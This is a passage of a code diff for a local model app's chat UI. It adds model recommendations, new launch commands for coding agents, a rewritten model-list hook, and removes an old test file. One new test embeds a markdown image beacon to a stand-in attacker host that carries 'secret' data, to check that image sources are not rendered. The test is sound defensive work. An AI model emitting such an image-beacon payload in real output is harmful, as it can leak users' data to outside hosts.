+297 39 55 48 63 50 45 4 -27 -38 -185 -78 -294 -80 -217 -176 -374 -312 -515
+-54 -55 -98 -104 -98 -107 0 -4 245 -7 545 -7 l544 0 126 66 c69 36 130 64
+135 62 6 -2 -10 -28 -34 -59 -46 -59 -48 -69 -10 -69 17 0 32 15 58 59 36 59
+51 71 87 71 23 0 25 -27 4 -77 -8 -19 -15 -39 -15 -44 0 -12 447 -11 470 1 10
+5 85 87 168 182 257 297 400 415 317 263 -16 -30 -26 -57 -23 -60 11 -12 210
+100 383 215 115 76 226 143 375 225 58 32 178 100 266 151 150 87 244 132 244
+117 0 -4 -78 -86 -174 -182 -207 -208 -246 -254 -334 -386 -48 -71 -122 -157
+-259 -298 -117 -120 -193 -206 -193 -217 0 -19 8 -20 115 -20 101 0 116 2 122
+18 19 54 112 249 156 327 124 221 283 436 369 502 87 67 225 152 337 209 103
+51 297 117 384 130 38 6 29 -2 -92 -75 -74 -45 -170 -107 -214 -139 -106 -76
+-247 -225 -332 -351 -67 -99 -70 -102 -79 -77 -6 14 -13 26 -18 26 -11 0 -57
+-75 -94 -155 -63 -136 -124 -376 -103 -401 15 -18 152 -19 166 -2 6 7 18 36
+27 63 23 72 66 131 217 301 302 339 430 464 590 577 148 104 233 128 520 148
+205 14 255 9 447 -38 118 -29 183 -65 298 -163 229 -195 538 -577 579 -715 24
+-83 71 -117 109 -79 9 8 16 27 16 42 0 62 -40 212 -73 277 -158 313 -551 635
+-922 755 -127 41 -142 55 -52 46 117 -11 231 -35 321 -65 158 -54 259 -123
+405 -277 164 -174 283 -379 322 -556 11 -51 25 -113 32 -137 36 -128 148 -81
+117 49 -14 60 -7 106 27 177 36 74 62 94 224 179 254 133 425 260 561 417 272
+315 403 732 358 1138 -24 218 -84 401 -179 545 -65 98 -155 203 -166 192 -3
+-3 7 -37 23 -75 136 -309 136 -725 2 -1063 -130 -330 -441 -760 -633 -879 -60
+-37 -60 -20 2 54 478 577 578 1337 315 2390 -25 99 -86 326 -136 505 -169 611
+-386 1539 -494 2109 -161 857 -200 998 -442 1606 -161 405 -321 692 -529 950
+-93 114 -322 343 -433 431 -203 160 -497 332 -737 428 -293 118 -702 220 -978
+246 -129 12 -406 11 -520 -1z m-267 -214 c301 -47 596 -191 852 -419 85 -76
+266 -270 345 -371 294 -376 520 -873 640 -1409 45 -199 45 -222 3 -244 -18 -9
+-45 -30 -61 -45 -25 -23 -28 -33 -23 -60 9 -44 21 -54 121 -98 91 -40 225
+-124 225 -140 0 -9 -33 5 -211 89 -126 60 -159 94 -167 173 -5 50 14 89 43 89
+26 0 65 49 65 81 0 52 -22 110 -48 127 -23 15 -37 14 -186 -7 -172 -25 -210
+-36 -240 -69 -23 -27 -31 -99 -14 -131 16 -29 30 -37 85 -51 26 -7 44 -17 48
+-29 10 -32 -15 -153 -41 -197 -27 -49 -131 -161 -139 -152 -9 9 36 77 85 126
+23 24 48 60 56 79 13 31 13 38 -3 71 -10 20 -29 42 -43 48 -14 7 -37 18 -52
+24 -33 15 -42 39 -63 155 -24 133 -90 393 -135 532 -119 367 -287 686 -483
+919 -175 208 -434 427 -659 557 -229 131 -498 197 -804 197 -136 0 -185 -4
+-313 -26 -87 -14 -31 14 137 70 186 61 289 89 437 117 120 23 376 20 543 -6z
+m2913 -962 c50 -53 113 -138 198 -268 76 -116 60 -104 -41 32 -34 46 -63 81
+-66 79 -2 -2 2 -30 9 -63 9 -44 9 -86 1 -171 -6 -63 -13 -116 -16 -119 -3 -4
+-15 2 -26 12 -32 29 -34 12 -5 -57 50 -118 66 -160 62 -164 -2 -2 -29 34 -61
+81 -31 47 -61 83 -66 80 -6 -4 -7 -24 -4 -47 7 -39 6 -40 -14 -27 -12 7 -25
+10 -29 5 -17 -17 -4 -106 31 -210 20 -60 35 -111 33 -112 -2 -2 -30 43 -62 99
+-60 102 -173 233 -182 210 -2 -7 26 -82 62 -168 37 -85 65 -160 63 -166 -2 -6
+-43 66 -91 160 -63 121 -93 171 -106 171 -9 0 -37 -21 -61 -46 -55 -56 -56
+-56 -248 20 -78 31 -156 59 -172 63 l-30 6 24 -54 c13 -30 51 -114 85 -188 34
+-73 60 -135 58 -137 -2 -3 -21 24 -42 58 -56 91 -85 128 -102 128 -13 0 -14
+-8 -9 -42 l7 -42 -83 80 c-109 106 -163 133 -260 126 -35 -3 -38 0 -53 34 -9
+21 -13 44 -11 51 7 17 58 16 147 -2 101 -21 104 -17 92 106 -6 52 -7 98 -3
+102 4 5 25 -20 47 -55 22 -35 47 -68 54 -75 18 -14 278 -83 316 -83 23 0 42
+13 86 59 61 64 64 72 42 111 -19 33 -19 54 0 46 11 -4 23 6 37 30 l21 35 66
+-3 66 -3 -2 29 c-1 16 -25 63 -52 105 -28 41 -49 77 -47 78 2 2 47 -42 101
+-97 75 -76 105 -100 125 -100 14 0 35 -7 47 -15 20 -14 22 -14 27 2 3 10 6 72
+7 138 2 102 -1 128 -19 175 -12 30 -22 56 -22 58 0 9 40 -22 71 -55z m-2642
+-139 c29 -35 60 -64 67 -64 8 0 52 27 97 61 l82 60 47 -51 c59 -63 161 -218
+218 -327 23 -46 48 -83 55 -83 8 0 26 5 41 11 49 18 73 4 104 -64 33 -70 48
+-127 33 -127 -6 0 -32 9 -58 21 -28 12 -56 18 -71 15 -21 -6 -27 1 -55 56 -67
+132 -208 340 -244 361 -10 5 -19 -1 -29 -22 -29 -55 -35 -106 -20 -183 8 -40
+14 -74 14 -75 0 -1 -12 2 -26 8 l-27 10 7 -62 c6 -61 6 -62 -14 -44 -15 14
+-31 17 -72 13 -58 -6 -88 -32 -88 -76 l0 -26 -29 34 c-29 35 -30 35 -122 38
+-52 2 -99 8 -106 14 -15 12 -83 132 -83 146 0 6 23 39 50 73 56 70 68 99 52
+134 -12 27 -15 25 81 46 65 14 68 21 42 105 -26 85 -18 85 54 -2z m-397 -294
+c84 -126 196 -352 237 -475 33 -99 28 -115 -23 -66 -45 44 -55 29 -49 -77 5
+-95 -4 -97 -33 -7 -22 67 -52 125 -64 125 -6 0 -10 -39 -11 -92 0 -51 -4 -101
+-8 -111 -9 -23 -10 -22 -85 101 -32 50 -62 92 -68 92 -7 0 -9 -22 -4 -70 6
+-74 -3 -90 -24 -40 -21 50 -33 54 -87 30 -26 -11 -57 -30 -69 -41 -20 -19 -21
+-19 -75 10 -30 17 -91 41 -137 54 -46 13 -89 30 -97 38 -16 16 -45 142 -36
+157 3 5 58 33 121 61 l114 51 21 -26 21 -26 49 39 c51 40 69 66 80 116 5 23
+10 28 32 25 19 -2 28 -11 37 -38 37 -115 42 114 6 250 -45 171 -47 164 22 90
+33 -36 92 -112 130 -170z m-1789 73 c-3 -10 -32 -77 -63 -148 -48 -109 -137
+-340 -242 -628 -11 -32 -22 -56 -24 -54 -2 2 -9 32 -14 68 -24 141 -20 131
+-47 124 -13 -3 -50 -18 -81 -33 -43 -20 -62 -37 -79 -67 -32 -59 -40 -65 -88
+-65 -55 0 -56 6 -16 106 29 75 176 339 194 351 12 7 14 14 -47 -125 -25 -56
+-46 -113 -46 -127 0 -25 0 -25 35 -11 109 46 179 120 301 316 135 217 241 360
+217 293z m-869 -35 c-4 -7 -33 -49 -64 -93 -140 -200 -268 -431 -368 -665
+-114 -268 -153 -314 -74 -86 41 115 44 129 29 137 -28 16 -39 80 -22 128 27
+77 98 202 139 246 58 61 355 345 362 345 3 0 2 -6 -2 -12z m1415 -533 l1 -130
+-23 39 c-26 47 -41 51 -45 14 -4 -36 -18 -35 -37 1 -8 17 -19 32 -25 36 -5 3
+-60 -10 -122 -30 -76 -25 -130 -36 -165 -36 -29 1 -82 -5 -118 -14 -99 -23
+-109 -21 -149 29 -20 23 -36 50 -36 58 0 12 55 182 75 231 11 27 38 21 147
+-34 76 -38 108 -49 130 -45 21 4 28 2 28 -9 0 -10 11 -15 34 -15 45 0 153 34
+177 56 10 9 35 69 55 133 56 180 58 180 65 1 4 -85 7 -213 8 -285z m-1394 272
+c-31 -55 -32 -83 -2 -91 47 -12 65 -6 97 34 18 23 34 39 36 38 2 -2 -20 -48
+-48 -102 l-50 -99 33 7 c84 17 149 19 149 5 0 -8 -37 -104 -82 -213 -74 -177
+-83 -195 -86 -162 -4 50 -26 56 -66 17 -17 -17 -35 -31 -39 -31 -4 0 -7 18 -7
+40 0 28 -6 43 -18 51 -15 10 -18 21 -14 65 8 93 -18 69 -89 -80 -35 -74 -65
+-133 -67 -131 -3 2 5 35 17 74 11 38 21 74 21 80 0 6 -35 11 -87 13 l-88 3 3
+30 c4 42 162 364 187 381 11 8 44 14 76 14 55 0 59 2 93 42 20 23 36 45 36 50
+0 4 5 8 10 8 6 0 -1 -20 -15 -43z m1710 6 c120 -17 143 -19 164 -12 10 3 21
+-17 37 -67 24 -77 75 -306 69 -312 -2 -2 -21 14 -43 37 l-39 41 -145 0 c-128
+0 -148 2 -170 19 -16 13 -29 17 -39 10 -8 -5 -17 -9 -20 -9 -10 0 -66 178 -74
+232 -4 25 -4 56 0 68 7 21 11 22 79 16 39 -4 121 -14 181 -23z m-79 -988 c74
+-190 129 -303 247 -514 76 -136 79 -145 62 -157 -24 -17 -76 -18 -98 -1 -21
+16 -126 237 -165 347 -30 87 -143 516 -141 541 1 19 17 -19 95 -216z m3644 61
+c64 -163 185 -534 301 -926 66 -223 147 -490 179 -595 175 -566 250 -858 321
+-1240 22 -121 43 -231 46 -245 4 -18 3 -22 -6 -15 -6 6 -22 71 -36 145 -58
+313 -100 487 -200 820 -40 135 -94 317 -120 405 -161 550 -413 1387 -465 1540
+-55 165 -67 205 -56 194 2 -2 18 -39 36 -83z m-4395 -812 c61 -60 129 -118
+149 -128 46 -22 69 -19 238 25 70 18 130 30 133 27 3 -3 -19 -42 -49 -87 -53
+-78 -75 -125 -63 -137 14 -14 111 32 205 96 57 38 136 85 176 104 84 40 299
+116 327 116 12 0 37 -24 66 -65 25 -36 54 -67 62 -69 9 -2 178 -1 376 2 l360
+7 10 70 c10 68 10 69 22 40 7 -16 17 -49 23 -73 14 -53 18 -55 187 -82 178
+-28 191 -33 200 -78 12 -57 8 -612 -6 -742 -17 -170 -53 -395 -141 -880 -206
+-1142 -248 -1540 -194 -1863 8 -49 12 -97 9 -107 -8 -24 -195 -200 -213 -200
+-7 0 -21 14 -30 31 -140 256 -353 528 -467 594 -66 39 -95 39 -361 1 -137 -19
+-303 -40 -368 -47 -128 -12 -307 -7 -368 11 -54 16 -140 78 -185 132 -41 51
+-348 610 -438 801 -105 220 -178 478 -191 667 -7 97 11 328 25 343 5 5 23 -17
+41 -49 18 -32 72 -97 125 -148 54 -53 97 -104 101 -120 12 -50 -1 -119 -34
+-170 -22 -33 -32 -62 -32 -88 0 -45 31 -126 70 -182 23 -35 28 -50 23 -82 -3
+-24 4 -70 17 -119 18 -68 28 -87 68 -128 59 -60 118 -101 132 -92 6 4 10 18 8
+32 -3 22 3 28 48 44 28 11 59 28 70 40 l18 20 -107 -7 c-118 -8 -146 0 -166
+43 -17 37 -14 52 18 84 33 33 78 41 66 12 -14 -31 -16 -77 -5 -93 9 -13 14
+-11 36 14 21 24 25 37 21 68 -5 37 -4 38 36 49 56 15 192 6 242 -15 l40 -17
+-27 -20 c-66 -49 -1 -50 120 -2 80 31 92 40 92 64 0 33 -30 52 -72 45 -33 -5
+-51 1 -140 49 -226 121 -267 139 -327 139 -31 1 -68 -3 -83 -8 -24 -7 -32 -3
+-62 30 -62 67 -63 76 -30 145 53 111 38 151 -110 308 -88 93 -131 162 -142
+230 -11 67 0 84 99 164 142 113 222 232 261 384 46 178 -18 329 -188 441 -74
+48 -75 49 -51 60 35 16 31 28 -20 64 -31 22 -41 34 -32 40 21 14 168 59 252
+77 67 15 80 21 83 39 2 12 -33 92 -82 187 -100 193 -117 263 -35 144 28 -41
+102 -124 164 -185z m-430 -364 c-13 -21 19 -51 100 -97 78 -43 142 -93 119
+-93 -5 0 -34 7 -64 15 -69 19 -148 19 -180 0 -24 -14 -24 -14 21 -15 63 0 238
+-37 267 -56 24 -16 42 -52 42 -85 0 -17 -8 -14 -57 24 -92 71 -138 91 -213 90
+-36 0 -85 -8 -109 -17 -55 -20 -64 -14 -103 71 -37 82 -36 104 4 127 60 36
+190 63 173 36z m4328 -154 c76 -37 148 -103 127 -116 -27 -17 -107 -10 -174
+15 -91 34 -212 35 -310 1 -55 -19 -76 -22 -100 -14 -17 5 -37 12 -45 14 -17 6
+18 45 66 75 76 47 131 59 258 57 109 -3 125 -6 178 -32z m-4293 -282 c3 -28
+11 -58 17 -66 7 -8 12 -30 12 -49 -1 -40 10 -72 46 -128 33 -53 32 -67 -5 -80
+-78 -27 -118 37 -133 210 -10 105 -9 120 7 144 27 42 50 29 56 -31z m-53 -438
+c-4 -9 -11 -16 -17 -16 -11 0 -14 33 -3 44 11 10 26 -11 20 -28z m449 -922
+c60 -20 62 -23 44 -34 -23 -15 -104 -12 -126 5 -19 15 -19 15 0 30 24 18 22
+19 82 -1z m5843 -211 c82 -179 180 -472 218 -653 34 -160 38 -387 10 -517 -37
+-172 -107 -345 -191 -471 -81 -122 -215 -266 -232 -249 -2 2 10 37 27 78 188
+447 261 1077 185 1584 -15 98 -31 196 -35 217 -10 44 0 50 18 11z m-2689 -313
+c25 -333 24 -319 22 -342 -1 -10 -66 -56 -164 -115 -175 -106 -203 -121 -196
+-101 3 7 26 81 53 163 39 124 214 633 241 699 15 37 22 -12 44 -304z m110
+-832 c37 -172 37 -173 -56 -257 -80 -73 -143 -103 -230 -109 -105 -7 -132 9
+-183 108 -53 101 -53 132 -3 177 21 19 126 88 233 153 182 111 194 117 201 97
+3 -12 20 -88 38 -169z m-1046 -650 c67 -151 141 -236 331 -383 138 -106 239
+-173 309 -204 42 -18 47 -23 36 -36 -7 -9 -110 -81 -229 -160 -178 -118 -251
+-161 -416 -238 -110 -51 -250 -117 -312 -147 -62 -29 -118 -50 -126 -47 -7 3
+-24 34 -36 69 -28 77 -74 158 -252 445 -75 122 -140 231 -144 242 -6 19 -2 21
+42 21 63 0 171 24 230 50 35 15 99 72 238 209 182 180 271 261 285 261 4 0 24
+-37 44 -82z m-2387 -88 c-10 -81 -64 -284 -102 -378 -55 -136 -119 -238 -204
+-323 -108 -107 -162 -132 -306 -137 -109 -4 -111 -3 -175 30 -42 22 -76 48
+-98 78 l-35 45 114 7 c338 22 478 105 645 383 29 50 70 131 89 180 49 124 67
+165 73 165 3 0 2 -22 -1 -50z m1647 -1402 c-54 -78 -300 -358 -315 -358 -16 0
+-10 15 29 76 113 173 323 408 330 370 2 -10 -18 -49 -44 -88z"/>
+<path d="M3229 5845 c-108 -15 -150 -30 -198 -71 -49 -41 -111 -123 -111 -146
+0 -18 5 -20 40 -15 22 3 40 3 40 1 0 -2 -9 -26 -20 -53 -12 -32 -16 -52 -9
+-56 9 -6 7 -23 -8 -62 -3 -8 4 -13 20 -13 16 0 26 -7 30 -20 8 -30 33 -24 48
+12 15 37 122 148 142 148 12 0 11 -10 0 -56 -17 -66 -10 -118 17 -137 15 -11
+19 -21 14 -44 -5 -25 2 -39 44 -90 28 -33 66 -67 85 -76 39 -19 112 -22 152
+-7 39 15 108 74 140 121 27 38 28 41 13 72 -15 32 -15 34 8 54 13 12 24 33 24
+47 l0 25 38 -17 c58 -26 111 -62 122 -81 6 -13 3 -29 -11 -57 -98 -186 -404
+-264 -685 -174 -101 32 -143 37 -162 18 -21 -21 -13 -28 31 -28 49 0 82 -19
+91 -53 5 -20 11 -23 31 -19 14 2 31 0 38 -6 17 -14 145 -34 168 -27 11 4 26 1
+34 -5 9 -7 23 -9 37 -4 13 5 41 9 63 11 22 1 51 3 65 4 14 1 37 -1 52 -5 21
+-6 27 -4 33 13 5 18 14 21 55 21 43 0 49 3 52 23 3 19 10 22 51 25 49 3 53 7
+37 32 -11 17 4 30 38 30 15 0 22 6 22 19 0 14 16 27 55 45 40 18 56 31 61 51
+3 14 16 32 27 40 18 13 20 18 10 34 -11 17 -8 21 25 35 100 44 116 63 55 68
+-33 3 -38 6 -36 26 3 22 0 22 -45 16 -44 -6 -49 -4 -83 29 -58 56 -354 199
+-469 227 -116 28 -147 43 -70 36 30 -3 108 -23 173 -45 64 -22 117 -36 117
+-31 0 13 -23 24 -160 75 -142 53 -197 60 -331 40z"/>
+<path d="M3027 5303 c-3 -5 -2 -15 2 -22 7 -10 10 -10 16 -1 4 6 3 16 -3 22
+-5 5 -12 6 -15 1z"/>
+<path d="M2180 4462 c0 -11 136 -122 149 -122 19 0 12 46 -11 75 -12 15 -36
+34 -54 41 -37 15 -84 19 -84 6z"/>
+</g></g></svg>

app/ui/app/src/api.ts

@@ -406,6 +406,31 @@ export async function* pullModel(
   }
 }
 
+export interface ModelRecommendation {
+  model: string;
+  description: string;
+  context_length?: number;
+  max_output_tokens?: number;
+  vram_bytes?: number;
+}
+
+export interface ModelRecommendationsResponse {
+  recommendations: ModelRecommendation[];
+}
+
+export async function getModelRecommendations(): Promise<ModelRecommendation[]> {
+  const response = await fetch(
+    `${API_BASE}/api/experimental/model-recommendations`,
+  );
+  if (!response.ok) {
+    throw new Error(
+      `Failed to fetch model recommendations: ${response.statusText}`,
+    );
+  }
+  const data: ModelRecommendationsResponse = await response.json();
+  return data.recommendations || [];
+}
+
 export async function getInferenceCompute(): Promise<InferenceComputeResponse> {
   const response = await fetch(`${API_BASE}/api/v1/inference-compute`);
   if (!response.ok) {

app/ui/app/src/components/LaunchCommands.tsx

@@ -13,6 +13,30 @@ interface LaunchCommand {
 }
 
 const LAUNCH_COMMANDS: LaunchCommand[] = [
+  {
+    id: "claude",
+    name: "Claude Code",
+    command: "ollama launch claude",
+    description: "Anthropic's coding tool with subagents",
+    icon: "/launch-icons/claude-code.svg",
+    iconClassName: "h-7 w-7",
+  },
+  {
+    id: "chatgpt",
+    name: "ChatGPT",
+    command: "ollama launch chatgpt",
+    description: "Complete work with ChatGPT",
+    icon: "/launch-icons/codex-app.png",
+    iconClassName: "h-full w-full",
+  },
+  {
+    id: "hermes",
+    name: "Hermes Agent",
+    command: "ollama launch hermes",
+    description: "Self-improving AI agent built by Nous Research",
+    icon: "/launch-icons/hermes-agent.svg",
+    iconClassName: "h-7 w-7",
+  },
   {
     id: "openclaw",
     name: "OpenClaw",
@@ -21,12 +45,12 @@ const LAUNCH_COMMANDS: LaunchCommand[] = [
     icon: "/launch-icons/openclaw.svg",
   },
   {
-    id: "claude",
-    name: "Claude",
-    command: "ollama launch claude",
-    description: "Anthropic's coding tool with subagents",
-    icon: "/launch-icons/claude.svg",
-    iconClassName: "h-7 w-7",
+    id: "opencode",
+    name: "OpenCode",
+    command: "ollama launch opencode",
+    description: "Anomaly's open-source coding agent",
+    icon: "/launch-icons/opencode.svg",
+    iconClassName: "h-7 w-7 rounded",
   },
   {
     id: "codex",
@@ -38,12 +62,13 @@ const LAUNCH_COMMANDS: LaunchCommand[] = [
     iconClassName: "h-7 w-7",
   },
   {
-    id: "opencode",
-    name: "OpenCode",
-    command: "ollama launch opencode",
-    description: "Anomaly's open-source coding agent",
-    icon: "/launch-icons/opencode.svg",
-    iconClassName: "h-7 w-7 rounded",
+    id: "copilot",
+    name: "Copilot CLI",
+    command: "ollama launch copilot",
+    description: "GitHub's AI coding agent for the terminal",
+    icon: "/launch-icons/copilot.svg",
+    darkIcon: "/launch-icons/copilot-dark.svg",
+    iconClassName: "h-7 w-7",
   },
   {
     id: "droid",

app/ui/app/src/components/StreamingMarkdownContent.test.tsx

@@ -0,0 +1,61 @@
+import { renderToStaticMarkup } from "react-dom/server";
+import type React from "react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+type MockStreamdownProps = {
+  children?: React.ReactNode;
+  components: {
+    img: React.ComponentType<React.ImgHTMLAttributes<HTMLImageElement>>;
+  };
+  rehypePlugins?: unknown[];
+};
+
+const streamdownMock = vi.hoisted(() =>
+  vi.fn((props: MockStreamdownProps) => props.children),
+);
+
+vi.mock("streamdown", () => ({
+  Streamdown: streamdownMock,
+  defaultRehypePlugins: {
+    katex: "katex",
+    raw: "raw",
+  },
+  defaultRemarkPlugins: {
+    gfm: "gfm",
+    math: "math",
+  },
+}));
+
+import StreamingMarkdownContent from "./StreamingMarkdownContent";
+
+describe("StreamingMarkdownContent", () => {
+  beforeEach(() => {
+    streamdownMock.mockClear();
+  });
+
+  it("does not enable raw HTML parsing", () => {
+    renderToStaticMarkup(
+      <StreamingMarkdownContent content="<iframe></iframe>" />,
+    );
+
+    const props = streamdownMock.mock.calls[0][0];
+    expect(props.rehypePlugins).toEqual(["katex"]);
+    expect(props.rehypePlugins).not.toContain("raw");
+  });
+
+  it("does not render markdown image src values", () => {
+    renderToStaticMarkup(
+      <StreamingMarkdownContent content="![secret](https://attacker.example/pixel?data=secret)" />,
+    );
+
+    const props = streamdownMock.mock.calls[0][0];
+    const Img = props.components.img;
+    const html = renderToStaticMarkup(
+      <Img alt="secret" src="https://attacker.example/pixel?data=secret" />,
+    );
+
+    expect(html).not.toContain("<img");
+    expect(html).not.toContain("attacker.example");
+    expect(html).toContain("secret");
+  });
+});

app/ui/app/src/components/StreamingMarkdownContent.tsx

@@ -1,5 +1,9 @@
 import React from "react";
-import { Streamdown, defaultRemarkPlugins } from "streamdown";
+import {
+  Streamdown,
+  defaultRehypePlugins,
+  defaultRemarkPlugins,
+} from "streamdown";
 import remarkCitationParser from "@/utils/remarkCitationParser";
 import CopyButton from "./CopyButton";
 import type { BundledLanguage } from "shiki";
@@ -29,6 +33,8 @@ const extractText = (node: React.ReactNode): string => {
   return "";
 };
 
+const safeRehypePlugins = [defaultRehypePlugins.katex];
+
 const CodeBlock = React.memo(
   ({ children }: React.HTMLAttributes<HTMLPreElement>) => {
     // Extract code and language from children
@@ -210,9 +216,12 @@ const StreamingMarkdownContent: React.FC<StreamingMarkdownContentProps> =
           <Streamdown
             parseIncompleteMarkdown={isStreaming}
             isAnimating={isStreaming}
+            rehypePlugins={safeRehypePlugins}
             remarkPlugins={remarkPlugins}
             controls={false}
             components={{
+              img: ({ alt }: React.ImgHTMLAttributes<HTMLImageElement>) =>
+                alt ? <span>{alt}</span> : null,
               pre: CodeBlock,
               table: ({
                 children,

app/ui/app/src/hooks/useFeaturedModels.ts

@@ -0,0 +1,13 @@
+import { useQuery } from "@tanstack/react-query";
+import { getModelRecommendations } from "@/api";
+import type { ModelRecommendation } from "@/api";
+
+export function useFeaturedModels() {
+  return useQuery<ModelRecommendation[], Error>({
+    queryKey: ["modelRecommendations"],
+    queryFn: getModelRecommendations,
+    staleTime: 5 * 60 * 1000,
+    gcTime: 30 * 60 * 1000,
+    refetchOnWindowFocus: false,
+  });
+}

app/ui/app/src/hooks/useModels.ts

@@ -1,51 +1,49 @@
 import { useQuery } from "@tanstack/react-query";
 import { Model } from "@/gotypes";
 import { getModels } from "@/api";
-import { mergeModels } from "@/utils/mergeModels";
 import { useMemo } from "react";
 import { useCloudStatus } from "./useCloudStatus";
+import { useFeaturedModels } from "./useFeaturedModels";
 
 export function useModels(searchQuery = "") {
   const { cloudDisabled } = useCloudStatus();
+  const { data: recommendations, isLoading: recommendationsLoading } =
+    useFeaturedModels();
   const localQuery = useQuery<Model[], Error>({
     queryKey: ["models", searchQuery],
     queryFn: () => getModels(searchQuery),
-    gcTime: 10 * 60 * 1000, // Keep in cache for 10 minutes
+    gcTime: 10 * 60 * 1000,
     retry: 10,
-    // exponential backoff, starting at 100ms and capping at 5s
     retryDelay: (attemptIndex) => Math.min(100 * 2 ** attemptIndex, 5000),
     refetchOnWindowFocus: true,
-    refetchInterval: 30 * 1000, // Refetch every 30 seconds to keep models updated
+    refetchInterval: 30 * 1000,
     refetchIntervalInBackground: true,
   });
 
   const allModels = useMemo(() => {
-    const models = mergeModels(localQuery.data || [], cloudDisabled);
+    const local = localQuery.data || [];
+    const featured = (recommendations || []).map((r) => r.model);
+    const featuredSet = new Set(featured);
 
-    if (searchQuery && searchQuery.trim()) {
-      const query = searchQuery.toLowerCase().trim();
-      const filteredModels = models.filter((model) =>
-        model.model.toLowerCase().includes(query),
-      );
+    // Recommended models first (using the local copy when downloaded),
+    // then everything else from /api/tags in tags order.
+    const recommended = featured.map(
+      (name) =>
+        local.find((m) => m.model === name) || new Model({ model: name }),
+    );
+    const rest = local.filter((m) => !featuredSet.has(m.model));
+    const merged = [...recommended, ...rest];
 
-      const seen = new Set<string>();
-      return filteredModels.filter((model) => {
-        const currentModel = model.model.toLowerCase();
-        if (seen.has(currentModel)) {
-          return false;
-        }
-        seen.add(currentModel);
-        return true;
-      });
-    }
-
-    return models;
-  }, [localQuery.data, searchQuery, cloudDisabled]);
+    const visible = cloudDisabled
+      ? merged.filter((m) => !m.isCloud())
+      : merged;
+    return filterBySearch(visible, searchQuery);
+  }, [localQuery.data, searchQuery, cloudDisabled, recommendations]);
 
   return {
     ...localQuery,
     data: allModels,
-    isLoading: localQuery.isLoading,
+    isLoading: localQuery.isLoading || recommendationsLoading,
   };
 }
 
@@ -53,3 +51,16 @@ export function useRefetchModels() {
   const { refetch } = useModels();
   return refetch;
 }
+
+function filterBySearch(models: Model[], query: string): Model[] {
+  const q = query.trim().toLowerCase();
+  if (!q) return models;
+
+  const seen = new Set<string>();
+  return models.filter((m) => {
+    const name = m.model.toLowerCase();
+    if (!name.includes(q) || seen.has(name)) return false;
+    seen.add(name);
+    return true;
+  });
+}

app/ui/app/src/hooks/useSelectedModel.ts

@@ -4,7 +4,6 @@ import { useModels } from "./useModels";
 import { useChat } from "./useChats";
 import { useSettings } from "./useSettings.ts";
 import { Model } from "@/gotypes";
-import { FEATURED_MODELS } from "@/utils/mergeModels";
 import { getTotalVRAM } from "@/utils/vram.ts";
 import { getInferenceCompute } from "@/api";
 import { useCloudStatus } from "./useCloudStatus";
@@ -92,9 +91,7 @@ export function useSelectedModel(currentChatId?: string, searchQuery?: string) {
       (settings.selectedModel &&
         new Model({
           model: settings.selectedModel,
-          cloud: FEATURED_MODELS.some(
-            (f) => f.endsWith("cloud") && f === settings.selectedModel,
-          ),
+          cloud: settings.selectedModel.endsWith("cloud"),
           ollama_host: false,
         })) ||
       null

app/ui/app/src/utils/mergeModels.test.ts

@@ -1,128 +0,0 @@
-import { describe, it, expect } from "vitest";
-import { Model } from "@/gotypes";
-import { mergeModels, FEATURED_MODELS } from "@/utils/mergeModels";
-import "@/api";
-
-describe("Model merging logic", () => {
-  it("should handle cloud models with -cloud suffix", () => {
-    const localModels: Model[] = [
-      new Model({ model: "gpt-oss:120b-cloud" }),
-      new Model({ model: "llama3:latest" }),
-      new Model({ model: "mistral:latest" }),
-    ];
-
-    const merged = mergeModels(localModels);
-
-    // First verify cloud models are first and in FEATURED_MODELS order
-    const cloudModels = FEATURED_MODELS.filter((m: string) =>
-      m.endsWith("cloud"),
-    );
-    for (let i = 0; i < cloudModels.length; i++) {
-      expect(merged[i].model).toBe(cloudModels[i]);
-      expect(merged[i].isCloud()).toBe(true);
-    }
-
-    // Then verify non-cloud featured models are next and in FEATURED_MODELS order
-    const nonCloudFeatured = FEATURED_MODELS.filter(
-      (m: string) => !m.endsWith("cloud"),
-    );
-    for (let i = 0; i < nonCloudFeatured.length; i++) {
-      const model = merged[i + cloudModels.length];
-      expect(model.model).toBe(nonCloudFeatured[i]);
-      expect(model.isCloud()).toBe(false);
-    }
-
-    // Verify local models are preserved and come after featured models
-    const featuredCount = FEATURED_MODELS.length;
-    expect(merged[featuredCount].model).toBe("llama3:latest");
-    expect(merged[featuredCount + 1].model).toBe("mistral:latest");
-
-    // Length should be exactly featured models plus our local models
-    expect(merged.length).toBe(FEATURED_MODELS.length + 2);
-  });
-
-  it("should hide cloud models when cloud is disabled", () => {
-    const localModels: Model[] = [
-      new Model({ model: "gpt-oss:120b-cloud" }),
-      new Model({ model: "llama3:latest" }),
-      new Model({ model: "mistral:latest" }),
-    ];
-
-    const merged = mergeModels(localModels, true); // cloud disabled = true
-
-    // No cloud models should be present
-    const cloudModels = merged.filter((m) => m.isCloud());
-    expect(cloudModels.length).toBe(0);
-
-    // Should have non-cloud featured models
-    const nonCloudFeatured = FEATURED_MODELS.filter(
-      (m) => !m.endsWith("cloud"),
-    );
-    for (let i = 0; i < nonCloudFeatured.length; i++) {
-      const model = merged[i];
-      expect(model.model).toBe(nonCloudFeatured[i]);
-      expect(model.isCloud()).toBe(false);
-    }
-
-    // Local models should be preserved
-    const featuredCount = nonCloudFeatured.length;
-    expect(merged[featuredCount].model).toBe("llama3:latest");
-    expect(merged[featuredCount + 1].model).toBe("mistral:latest");
-  });
-
-  it("should handle empty input", () => {
-    const merged = mergeModels([]);
-
-    // First verify cloud models are first and in FEATURED_MODELS order
-    const cloudModels = FEATURED_MODELS.filter((m) => m.endsWith("cloud"));
-    for (let i = 0; i < cloudModels.length; i++) {
-      expect(merged[i].model).toBe(cloudModels[i]);
-      expect(merged[i].isCloud()).toBe(true);
-    }
-
-    // Then verify non-cloud featured models are next and in FEATURED_MODELS order
-    const nonCloudFeatured = FEATURED_MODELS.filter(
-      (m) => !m.endsWith("cloud"),
-    );
-    for (let i = 0; i < nonCloudFeatured.length; i++) {
-      const model = merged[i + cloudModels.length];
-      expect(model.model).toBe(nonCloudFeatured[i]);
-      expect(model.isCloud()).toBe(false);
-    }
-
-    // Length should be exactly FEATURED_MODELS length
-    expect(merged.length).toBe(FEATURED_MODELS.length);
-  });
-
-  it("should sort models correctly", () => {
-    const localModels: Model[] = [
-      new Model({ model: "zephyr:latest" }),
-      new Model({ model: "alpha:latest" }),
-      new Model({ model: "gpt-oss:120b-cloud" }),
-    ];
-
-    const merged = mergeModels(localModels);
-
-    // First verify cloud models are first and in FEATURED_MODELS order
